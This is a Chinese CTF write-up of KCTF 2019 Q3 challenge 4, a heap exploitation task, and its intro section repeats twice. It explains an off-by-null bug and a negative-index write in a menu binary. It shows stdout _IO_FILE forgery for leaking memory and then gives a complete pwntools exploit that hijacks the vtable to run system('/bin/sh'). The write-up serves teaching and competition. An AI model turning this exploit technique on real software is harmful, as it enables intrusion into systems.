看雪.紐盾 KCTF 2019 Q3 | 第四題點評及解題思路
Editor發表於2019-09-29
人可以忍受屈辱到什麼時候?必將百倍奉還!
對於一個餘孽來說,生存太過艱難。韓信不想死。他想繼續活下去。所以他並不是忍受,而是選擇。他選擇的也不是屈辱,而是生存。
因此,當年輕的霸者舉起長刀羞辱自己,他選擇了從對方的胯下鑽過去。當未婚妻被帶走成為祭品,他選擇了沉默。當更強大的權力者出現,他選擇了屈從,自己為自己套上牽狗的鎖鏈。
還沒有成為大陸有名的強者和謀者之前,他就已經開始謀劃一場風暴,一場刮過大陸,能在歷史上永久留下自己名字的風暴。
不信天,不信命。唯一能相信的,只有自己。他在等待能夠一擊必殺的出手時機。
本題共有1434人圍觀,最終只有30支團隊攻破成功。其中Lanc3t戰隊一馬當先,在開賽當天就以4336秒的速度破解此題,在此題中獲得最高積分。為了生存,為了成為整個賽場上的強者,戰隊們將勇氣化作前行的利器,用謀略奪取勝利的果實。
不知道你有沒有破解開這道題?接下來我們一起來看一下這道題的點評和詳細解析吧。
檢視保護機制可以看到二進位制檔案保護機制全開,功能為記憶體增加、刪除、編輯,利用的漏洞是offby null溢位漏洞、_IO_FILE攻擊和虛表劫持。
檢視保護機制可以看到保護機制全開。
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
這是一個選單題可以看到程式只有三個功能,add,delete,edit。
在edit的時候可以看到只要輸入的大小和寫入的大小一樣就存在off-by-null。
這樣就可以洩露libc地址,這裡需要爆破一會。
由於程式hook了 malloc_hook和free_hook所以並不能用。
由於程式輸出了堆的地址,這裡使用fsop進行攻擊。
首先偽造vtable和_IO_FILE_plus。
然後使用fastbin_attack修改_IO_list_all為偽造堆的地址。然後退出,會執行system("sh");
環境部署,進入當前目錄下執行docker run -d -p 9999:9999 iofile .
2、功能為記憶體增加、刪除、編輯。
3、沒有列印記憶體的函式,但是增加會主動列印malloc的地址。
4、建立的記憶體塊最大1023位元組,按照8位元組大小、8位元組地址的格式儲存在全域性資料區,編輯與刪除時沒有檢查輸入為負數的情況。
5、編輯操作中存在一個位元組0的溢位,屬於off by null溢位漏洞。
6、main函式中的第一個函式是hook並儲存__malloc_hook和__free_hook,在呼叫是恢復。在這裡發現__malloc_hook和__free_hook是存在於主模組中的,但是由於隨機基址無法洩露,所以可以算作作者提示無法使用修改__free_hook的方式劫持流程。
7、儲存堆資料的全域性資料區。
2、因為在最初建立的時候列印了對地址,因此可以知道建立的unsorted bin的地址,而unsorted bin堆塊資料中會儲存main_arena(libc中的一個地址,由此可以算出libc的基址)。
3、有了資訊,現在要洩露出來,因為沒有列印操作,所以只能把目光集中在編輯是沒有檢查負數的情況。
4、觀察上圖,按照8位元組大小、8位元組地址的方式,編輯時向前溢位-6個,剛好可以修改stdout指向的記憶體,也就是_IO_FILE攻擊了,控制stdout指向一個_IO_FILE結構的資料,修改其中指標,便可達到任意記憶體洩露的目的。
5、_IO_FILE結構體中儲存了一張虛表,puts函式會呼叫這張虛表中的函式,並且會把stdout的指標作為引數傳給虛擬函式;恰好程式很多處都呼叫puts函式,於是可以把虛表內容劫持到system函式,把stdout指向的資料前面寫上\bin\sh。
該POC實際使用中發現,利用stdout實現任意讀,當緩衝區中有資料時讀出來的值不是期望的,多執行幾次,緩衝區清空後就可以了。
Unlink學習筆記(off-by-one null byte漏洞利用)IO FILE 之任意讀寫淺析IO_FILE結構及利用
對於一個餘孽來說,生存太過艱難。韓信不想死。他想繼續活下去。所以他並不是忍受,而是選擇。他選擇的也不是屈辱,而是生存。
因此,當年輕的霸者舉起長刀羞辱自己,他選擇了從對方的胯下鑽過去。當未婚妻被帶走成為祭品,他選擇了沉默。當更強大的權力者出現,他選擇了屈從,自己為自己套上牽狗的鎖鏈。
還沒有成為大陸有名的強者和謀者之前,他就已經開始謀劃一場風暴,一場刮過大陸,能在歷史上永久留下自己名字的風暴。
不信天,不信命。唯一能相信的,只有自己。他在等待能夠一擊必殺的出手時機。
題目簡介
本題共有1434人圍觀,最終只有30支團隊攻破成功。其中Lanc3t戰隊一馬當先,在開賽當天就以4336秒的速度破解此題,在此題中獲得最高積分。為了生存,為了成為整個賽場上的強者,戰隊們將勇氣化作前行的利器,用謀略奪取勝利的果實。
不知道你有沒有破解開這道題?接下來我們一起來看一下這道題的點評和詳細解析吧。
看雪評委crownless點評
檢視保護機制可以看到二進位制檔案保護機制全開,功能為記憶體增加、刪除、編輯,利用的漏洞是offby null溢位漏洞、_IO_FILE攻擊和虛表劫持。
出題團隊簡介
個人學習兩年半的個人安全研究者,擅長pwn,希望和各位大佬多多交流。
設計思路
檢視保護機制可以看到保護機制全開。
Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
這是一個選單題可以看到程式只有三個功能,add,delete,edit。
在edit的時候可以看到只要輸入的大小和寫入的大小一樣就存在off-by-null。
這樣就可以洩露libc地址,這裡需要爆破一會。
由於程式hook了 malloc_hook和free_hook所以並不能用。
由於程式輸出了堆的地址,這裡使用fsop進行攻擊。
首先偽造vtable和_IO_FILE_plus。
然後使用fastbin_attack修改_IO_list_all為偽造堆的地址。然後退出,會執行system("sh");
環境部署,進入當前目錄下執行docker run -d -p 9999:9999 iofile .
解題思路
題目分析
2、功能為記憶體增加、刪除、編輯。
3、沒有列印記憶體的函式,但是增加會主動列印malloc的地址。
4、建立的記憶體塊最大1023位元組,按照8位元組大小、8位元組地址的格式儲存在全域性資料區,編輯與刪除時沒有檢查輸入為負數的情況。
5、編輯操作中存在一個位元組0的溢位,屬於off by null溢位漏洞。
6、main函式中的第一個函式是hook並儲存__malloc_hook和__free_hook,在呼叫是恢復。在這裡發現__malloc_hook和__free_hook是存在於主模組中的,但是由於隨機基址無法洩露,所以可以算作作者提示無法使用修改__free_hook的方式劫持流程。
7、儲存堆資料的全域性資料區。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // eax f_set_hook_E4C(); // 儲存__malloc_hook和__free_hook puts("Welcome kctf 2019,you pwn like hsy!"); while ( 1 ) { while ( 1 ) { f_menu_DDD(); // 列印選項 v3 = f_get_char_num_C81(); if ( v3 != 2 ) break; f_delete_FC0(); // 刪除 } if ( v3 > 2 ) { if ( v3 == 3 ) { f_edit_1084(); // 編輯 } else { if ( v3 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_13; f_add_EC3(); // 增加 } } } // 編輯函式 unsigned __int64 f_edit_1084() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Input idx : "); v1 = f_get_char_num_C81(); if ( !LODWORD(g_heap_arr_202080[2 * v1]) ) exit(1); printf("Input text : "); sub_D22((char *)g_heap_arr_202080[2 * v1 + 1], g_heap_arr_202080[2 * v1]); return __readfsqword(0x28u) ^ v2; } char *__fastcall sub_D22(char *a1, int a2) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s[8]; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(s, 0, 8uLL); for ( i = 0; i < a2; ++i ) { if ( read(0, s, 1uLL) <= 0 ) exit(1); if ( s[0] == 0xA ) break; a1[i] = s[0]; } result = (char *)(unsigned int)i; if ( i == a2 ) { result = &a1[i]; *result = 0; // off by null 溢位漏洞 } return result; }
利用分析
2、因為在最初建立的時候列印了對地址,因此可以知道建立的unsorted bin的地址,而unsorted bin堆塊資料中會儲存main_arena(libc中的一個地址,由此可以算出libc的基址)。
3、有了資訊,現在要洩露出來,因為沒有列印操作,所以只能把目光集中在編輯是沒有檢查負數的情況。
4、觀察上圖,按照8位元組大小、8位元組地址的方式,編輯時向前溢位-6個,剛好可以修改stdout指向的記憶體,也就是_IO_FILE攻擊了,控制stdout指向一個_IO_FILE結構的資料,修改其中指標,便可達到任意記憶體洩露的目的。
5、_IO_FILE結構體中儲存了一張虛表,puts函式會呼叫這張虛表中的函式,並且會把stdout的指標作為引數傳給虛擬函式;恰好程式很多處都呼叫puts函式,於是可以把虛表內容劫持到system函式,把stdout指向的資料前面寫上\bin\sh。
// 在pwndbg中檢視_IO_FILE結構體資訊 pwndbg> p *(struct _IO_FILE_plus *) stdout $1 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0<_IO_file_jumps> }
一些細節
1、利用stdout構造任意讀的條件:
設定_flag &~ _IO_NO_WRITES即_flag &~ 0x8
設定_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800
設定_fileno為1
設定_IO_write_base指向想要洩露的地方;_IO_write_ptr指向洩露結束的地址
設定_IO_read_end等於_IO_write_base或設定_flag & _IO_IS_APPENDING即_flag | 0x1000
設定_IO_write_end等於_IO_write_ptr(非必須)
2、劫持虛表需要注意puts函式中對_IO_FILE標誌位和其中地址指向的記憶體資料判斷。
/bin/sh的記憶體資料恰好能透過對flag資料的驗證
_lock指向的記憶體,前8位元組必須為0,不然無法透過puts+83: cmpxchg [rdx], esi這句的驗證,導致進入死鎖狀態
3、更多細節在POC中有註釋
該POC實際使用中發現,利用stdout實現任意讀,當緩衝區中有資料時讀出來的值不是期望的,多執行幾次,緩衝區清空後就可以了。
#!/usr/bin/env python # coding: utf-8 from pwn import * import os # flag{4ca9ae5d7c835994cc62d34f92ef95ce} #init context.log_level = 'debug' local=False if local: env={"LD_PRELOAD":os.path.join(os.getcwd(),"/libc-2.23.so")} p = process("./pwn", env=env) else: p = remote("154.8.174.214", 10001) raw_input("Pause~\n") offset_system = 0x0000000000045390 offset_IO_list_all = 0x00000000003C5520 #offset___libc_start_main_ret = 0x20830 #offset_dup2 = 0x00000000000f7970 #offset_read = 0x00000000000f7250 #offset_write = 0x00000000000f72b0 #offset_str_bin_sh = 0x18cd57 base_addr = 0 heap_addr = {} def new_heap(len): p.recvuntil(">>") p.sendline("1") p.recvuntil("Input size : ") p.sendline(str(len)) print 'create new heap:' , len p.recvuntil("heap ") num_str = p.recvuntil(" ", drop = True) print num_str p.recvuntil("0x") heap = p.recvuntil("\n", drop = True) print heap heap_addr[int(num_str)] = int(heap, 16) def set_heap(idx,cont): p.sendline("3") p.recvuntil("Input idx : ") p.sendline(str(idx)) p.recvuntil("Input text : ") p.send(cont) print 'set text ' , idx,',cont = ',cont def del_heap(idx): print 'del_heap ' , idx p.recvuntil(">>") p.sendline("2") p.recvuntil("Input idx : ") p.sendline(str(idx)) new_heap(0xf8) # 0: buf new_heap(0xf8) # 1: unlink target new_heap(0xf8) # 2: free target new_heap(0xf8) # 3: avoid consolidate with top chunk new_heap(0xf8) # 4: vtable print("Get All Addr:") print(heap_addr) # 前8位設成0,為了過這一句 puts+83: cmpxchg [rdx], esi payload = p64(0) + p64(0xf1) + p64(heap_addr[1]) + p64(heap_addr[1]) + '\x0a' set_heap(0, payload) # 製造 unsorted bin payload = p64(0x110) + p64(0xf1) + p64(heap_addr[0]) + p64(heap_addr[0]) + 'a' * 0xd0 + p64(0xf0) set_heap(1, payload) del_heap(2) # 洩露地址 payload = p64(0xfbad8800) payload += p64(heap_addr[0]+8) # _IO_read_ptr payload += p64(heap_addr[1]+0x10) # _IO_read_end payload += p64(heap_addr[0]+8) # _IO_read_base payload += p64(heap_addr[1]+0x10) # _IO_write_base payload += p64(heap_addr[1]+0x10+8) # _IO_write_ptr payload += p64(heap_addr[1]+0x10+8) # _IO_write_end payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `", set_heap(-6, payload) p.sendline('q') main_arena = u64(p.recv(8))-88 libc_base = main_arena-0x3c4b20 libc_system = libc_base+offset_system IO_list_all = libc_base+offset_IO_list_all print('main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' % (main_arena, libc_base, libc_system, IO_list_all)) raw_input("Pause~\n") # 修改回正常狀態 payload = p64(0xfbad2887) payload += p64(heap_addr[0]+8) # _IO_read_ptr payload += p64(heap_addr[0]+8) # _IO_read_end payload += p64(heap_addr[0]+8) # _IO_read_base payload += p64(heap_addr[0]+8) # _IO_write_base payload += p64(heap_addr[0]+8) # _IO_write_ptr payload += p64(heap_addr[0]+8) # _IO_write_end payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `", set_heap(-6, payload) p.sendline('q') # p.interactive() # 製作假的 vtable payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a' # 獲取成功後就沒有輸出了,所以要手動輸出 set_heap(4, payload) #p.sendline("3") #p.sendline(str(4)) #p.send(payload) # 控制 vtable 指標 # file = { payload = '/bin/sh\x00' # _flags = 0xfbad8000, payload += p64(heap_addr[0]+8) # _IO_read_ptr = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_read_end = 0x602060 " `", payload += p64(heap_addr[0]+8) # _IO_read_base = 0x602060 " `", payload += p64(heap_addr[1]) # _IO_write_base = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_write_ptr = 0x602060 " `", payload += p64(heap_addr[1]+0x10+8) # _IO_write_end = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[1]+0x10+8) # _IO_buf_end = 0x602061 " `", payload += p64(0) # _IO_save_base = 0x0, payload += p64(0) # _IO_backup_base = 0x0, payload += p64(0) # _IO_save_end = 0x0, payload += p64(0) # _markers = 0x0, payload += p64(heap_addr[0]) # _chain = 0x602060, payload += p64(1) # _fileno = 0x1, # _flags2 = 0x0, payload += p64(0xffffffffffffffff) # _old_offset = 0xffffffffffffffff, payload += p64(0) # _cur_column = 0x0, # _vtable_offset = 0x0, # _shortbuf = "", payload += p64(heap_addr[0]) # _lock = 0x602060, payload += p64(0xffffffffffffffff) # _offset = 0xffffffffffffffff, payload += p64(0) # _codecvt = 0x0, payload += p64(heap_addr[0]) # _wide_data = 0x602060, payload += p64(0) # _freeres_list = 0x0, payload += p64(0) # _freeres_buf = 0x0, payload += p64(0) # __pad5 = 0x0, payload += p64(0x0000000000000000) # _mode = 0xffffffff, # _unused2 = '\000' <repeats 19 times> payload += p64(0) # }, payload += p64(0) # payload += p64(heap_addr[4]) # vtable = 0x6021c8 set_heap(-6, payload) #p.sendline("3") #p.sendline(str(-6)) #p.send(payload) raw_input("Success, press Enter~\n") p.interactive() p.close()
Unlink學習筆記(off-by-one null byte漏洞利用)IO FILE 之任意讀寫淺析IO_FILE結構及利用
相關文章
- 看雪.紐盾 KCTF 2019 Q3 | 第一題點評及解題思路2019-09-25
- 看雪.紐盾 KCTF 2019 Q3 | 第七題點評及解題思路2019-09-30
- 看雪.紐盾 KCTF 2019 Q3 | 第六題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第八題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第九題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十一題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十二題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q3 | 第十三題點評及解題思路2019-10-08
- 看雪.紐盾 KCTF 2019 Q2 | 第九題點評及解題思路2019-07-04
- 看雪.紐盾 KCTF 2019 Q2 | 第十題點評及解題思路2019-07-05
- 看雪.紐盾 KCTF 2019 Q2 | 第一題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第二題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第三題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第五題點評及解題思路2019-07-01
- 看雪.紐盾 KCTF 2019 Q2 | 第七題點評及解題思路2019-07-02
- 看雪.紐盾 KCTF 2019 Q2 | 第八題點評及解題思路2019-07-03
- 看雪.紐盾 KCTF 2019 Q2 | 第六題點評及解題思路2019-07-01
- 2020 KCTF秋季賽 | 第四題點評及解題思路2020-11-24
- 看雪.WiFi萬能鑰匙 CTF 2017第四題 點評及解題思路2017-06-29WiFi
- 看雪·深信服 2021 KCTF 春季賽 | 第四題設計思路及解析2021-05-17
- 看雪·眾安 2021 KCTF 秋季賽 | 第四題設計思路及解析2021-11-25
- 看雪.騰訊TSRC 2017 CTF 秋季賽 第四題點評及解析思路2017-11-02
- 2019 KCTF 晉級賽Q1 | 第三題點評及解題思路2019-03-28
- 2020 KCTF秋季賽 | 第一題點評及解題思路2020-11-20
- 2019KCTF 晉級賽Q1 | 第九題點評及解題思路2019-04-04
- 2019KCTF 晉級賽Q1 | 第十題點評及解題思路2019-04-08
- 看雪.WiFi萬能鑰匙 CTF 2017第十題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第五題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第三題 點評及解題思路2017-06-29WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第七題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第八題 點評及解題思路2017-06-22WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十三題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十一題 點評及解題思路2017-06-28WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十四題 點評及解題思路2017-06-30WiFi
- 看雪.WiFi萬能鑰匙 CTF 2017第十五題 點評及解題思路2017-08-10WiFi
- 看雪·深信服 2021 KCTF 春季賽 | 第七題設計思路及解析2021-05-25
- 看雪·深信服 2021 KCTF 春季賽 | 第八題設計思路及解析2021-05-25